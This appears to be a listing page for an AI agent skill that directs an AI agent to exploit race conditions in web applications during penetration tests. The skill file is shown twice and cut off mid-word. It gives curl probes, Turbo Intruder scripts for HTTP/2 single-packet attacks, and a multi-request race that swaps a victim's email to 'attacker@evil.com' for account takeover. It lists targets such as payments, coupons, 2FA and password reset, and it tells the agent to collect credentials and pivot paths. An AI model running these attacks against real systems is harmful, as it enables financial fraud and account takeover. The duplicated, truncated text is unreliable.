/race-condition
Exploit race conditions and TOCTOU vulnerabilities in web applications during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill race-condition --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/race-condition
Context preview
The summary Claude sees to decide when to auto-load this skill.
Exploit race conditions and TOCTOU vulnerabilities in web applications during authorized penetration testing.
SKILL.md
race-condition.SKILL.mdname: race-condition
description: >
Exploit race conditions and TOCTOU vulnerabilities in web applications
during authorized penetration testing.
keywords:
- race condition
- TOCTOU
- limit overrun
- double spend
- single-packet attack
- HTTP/2 race
- turbo intruder race
- concurrent requests
- parallel requests exploit
- coupon reuse
- rate limit race
- last-byte sync
tools:
- burpsuite (Turbo Intruder)
- python3
- httpx
- ffuf
opsec: medium
Race Condition Exploitation
You are helping a penetration tester exploit race conditions and TOCTOU vulnerabilities in web applications. Race conditions occur when an application processes concurrent requests without proper locking, allowing attackers to violate business logic constraints (e.g., redeem a coupon twice, overdraw a balance, bypass rate limits). All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[race-condition] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Target URL with authenticated session (most races require auth)
- Burp Suite with Turbo Intruder extension (primary tool)
- Python 3 with `httpx` and `asyncio` (alternative to Turbo Intruder)
- HTTP/2 support on target (for single-packet attack — check with `curl --http2`)
- Identified state-changing endpoint (payment, coupon, transfer, vote, etc.)
Step 1: Identify Race-Susceptible Endpoints
Look for endpoints where the server: 1. **Checks a constraint then acts** — balance check → debit, coupon validity → apply 2. **Has a limit** — one coupon per user, one vote per item, X transfers per day 3. **Performs multi-step operations** — read → validate → write (non-atomic) 4. **Uses external state** — database lookups without row-level locking
High-Value Targets
| Endpoint Type | Race Goal | Impact | |---|---|---| | Coupon/promo code redemption | Redeem same code multiple times | Financial | | Balance transfer/payment | Double-spend, overdraw balance | Financial | | Gift card top-up/redemption | Duplicate credit | Financial | | Like/vote/rating | Inflate counts past limit | Integrity | | Invite code/referral | Reuse single-use token | Access | | Account registration | Bypass unique email constraint | Account takeover | | Password reset | Use same token in parallel | Account takeover | | 2FA verification | Submit OTP to multiple sessions | Auth bypass | | File upload quota | Exceed storage limits | Resource abuse | | API rate limit | Bypass per-request throttling | Abuse amplification |
Detect Race Window
# Check if HTTP/2 is supported (enables single-packet attack)
curl -sI --http2 https://TARGET/ -o /dev/null -w '%{http_version}\n'
# 2 = HTTP/2 supported
# Measure server processing time for the target endpoint
# Longer processing = wider race window
curl -s -o /dev/null -w '%{time_total}\n' \
-X POST https://TARGET/api/redeem -d 'code=PROMO123' \
-H "Cookie: session=SESSIONID"
# Check for idempotency headers (may prevent races)
curl -sI -X POST https://TARGET/api/transfer -d 'amount=100' \
-H "Cookie: session=SESSIONID" | grep -i "idempotency"Step 2: HTTP/2 Single-Packet Attack
The most reliable synchronization technique. All requests arrive in a single TCP packet, eliminating network jitter. Requires HTTP/2 support.
Burp Suite — Repeater (Quick Test)
1. Send the target request to Repeater 2. Duplicate the tab 10-20 times (Ctrl+R) 3. Select all tabs → right-click → **Send group in parallel (single-packet attack)** 4. Compare responses for signs of race success (duplicate redemption, double debit)
Turbo Intruder — Single-Packet with Gate
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2) # HTTP/2 engine
# Queue N identical requests, all held at the gate
for i in range(20):
engine.queue(target.req, gate='race1')
# Open gate — all requests sent in single packet
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)Turbo Intruder — Multi-Endpoint Race
Race two different endpoints against each other (e.g., change email + send verification simultaneously):
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
# Request 1: change email to attacker-controlled
changeEmailReq = '''POST /api/email HTTP/2
Host: TARGET
Cookie: session=SESSIONID
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
email=attacker%40evil.com'''
# Request 2: trigger verification for current email
verifyReq = '''POST /api/verify-email HTTP/2
Host: TARGET
Cookie: session=SESSIONID
Content-Length: 0
'''
# Alternate: one change, many verifications
engine.queue(changeEmailReq, gate='race1')
for i in range(19):
engine.queue(verifyReq, gate='race1')
enginRead more
name: race-condition description: > Exploit race conditions and TOCTOU vulnerabilities in web applications during authorized penetration testing. keywords: - race condition - TOCTOU - limit overrun - double spend - single-packet attack - HTTP/2 race - turbo intruder race - concurrent requests - parallel requests exploit - coupon reuse - rate limit race - last-byte sync tools: - burpsuite (Turbo Intruder) - python3 - httpx - ffuf opsec: medium
Race Condition Exploitation
You are helping a penetration tester exploit race conditions and TOCTOU vulnerabilities in web applications. Race conditions occur when an application processes concurrent requests without proper locking, allowing attackers to violate business logic constraints (e.g., redeem a coupon twice, overdraw a balance, bypass rate limits). All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[race-condition] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Target URL with authenticated session (most races require auth)
- Burp Suite with Turbo Intruder extension (primary tool)
- Python 3 with `httpx` and `asyncio` (alternative to Turbo Intruder)
- HTTP/2 support on target (for single-packet attack — check with `curl --http2`)
- Identified state-changing endpoint (payment, coupon, transfer, vote, etc.)
Step 1: Identify Race-Susceptible Endpoints
Look for endpoints where the server: 1. **Checks a constraint then acts** — balance check → debit, coupon validity → apply 2. **Has a limit** — one coupon per user, one vote per item, X transfers per day 3. **Performs multi-step operations** — read → validate → write (non-atomic) 4. **Uses external state** — database lookups without row-level locking
High-Value Targets
| Endpoint Type | Race Goal | Impact | |---|---|---| | Coupon/promo code redemption | Redeem same code multiple times | Financial | | Balance transfer/payment | Double-spend, overdraw balance | Financial | | Gift card top-up/redemption | Duplicate credit | Financial | | Like/vote/rating | Inflate counts past limit | Integrity | | Invite code/referral | Reuse single-use token | Access | | Account registration | Bypass unique email constraint | Account takeover | | Password reset | Use same token in parallel | Account takeover | | 2FA verification | Submit OTP to multiple sessions | Auth bypass | | File upload quota | Exceed storage limits | Resource abuse | | API rate limit | Bypass per-request throttling | Abuse amplification |
Detect Race Window
# Check if HTTP/2 is supported (enables single-packet attack)
curl -sI --http2 https://TARGET/ -o /dev/null -w '%{http_version}\n'
# 2 = HTTP/2 supported
# Measure server processing time for the target endpoint
# Longer processing = wider race window
curl -s -o /dev/null -w '%{time_total}\n' \
-X POST https://TARGET/api/redeem -d 'code=PROMO123' \
-H "Cookie: session=SESSIONID"
# Check for idempotency headers (may prevent races)
curl -sI -X POST https://TARGET/api/transfer -d 'amount=100' \
-H "Cookie: session=SESSIONID" | grep -i "idempotency"Step 2: HTTP/2 Single-Packet Attack
The most reliable synchronization technique. All requests arrive in a single TCP packet, eliminating network jitter. Requires HTTP/2 support.
Burp Suite — Repeater (Quick Test)
1. Send the target request to Repeater 2. Duplicate the tab 10-20 times (Ctrl+R) 3. Select all tabs → right-click → **Send group in parallel (single-packet attack)** 4. Compare responses for signs of race success (duplicate redemption, double debit)
Turbo Intruder — Single-Packet with Gate
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2) # HTTP/2 engine
# Queue N identical requests, all held at the gate
for i in range(20):
engine.queue(target.req, gate='race1')
# Open gate — all requests sent in single packet
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)Turbo Intruder — Multi-Endpoint Race
Race two different endpoints against each other (e.g., change email + send verification simultaneously):
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
# Request 1: change email to attacker-controlled
changeEmailReq = '''POST /api/email HTTP/2
Host: TARGET
Cookie: session=SESSIONID
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
email=attacker%40evil.com'''
# Request 2: trigger verification for current email
verifyReq = '''POST /api/verify-email HTTP/2
Host: TARGET
Cookie: session=SESSIONID
Content-Length: 0
'''
# Alternate: one change, many verifications
engine.queue(changeEmailReq, gate='race1')
for i in range(19):
engine.queue(verifyReq, gate='race1')
enginSecurity assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Other skills on red-run.
- /acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Open skill - /ad-discovery
Enumerates Active Directory domains and maps attack surface for penetration testing.
Open skill - /ad-persistence
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS master password), custom SSP injection (credential logging via mimilib/memssp), security descriptor backdoors
Open skill - /adcs-access-and-relay
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).
Open skill - /adcs-persistence
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate
Open skill - /adcs-template-abuse
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee supplies subject), ESC2 (any-purpose/no EKU), ESC3 (enrollment agent), ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag).
Open skill

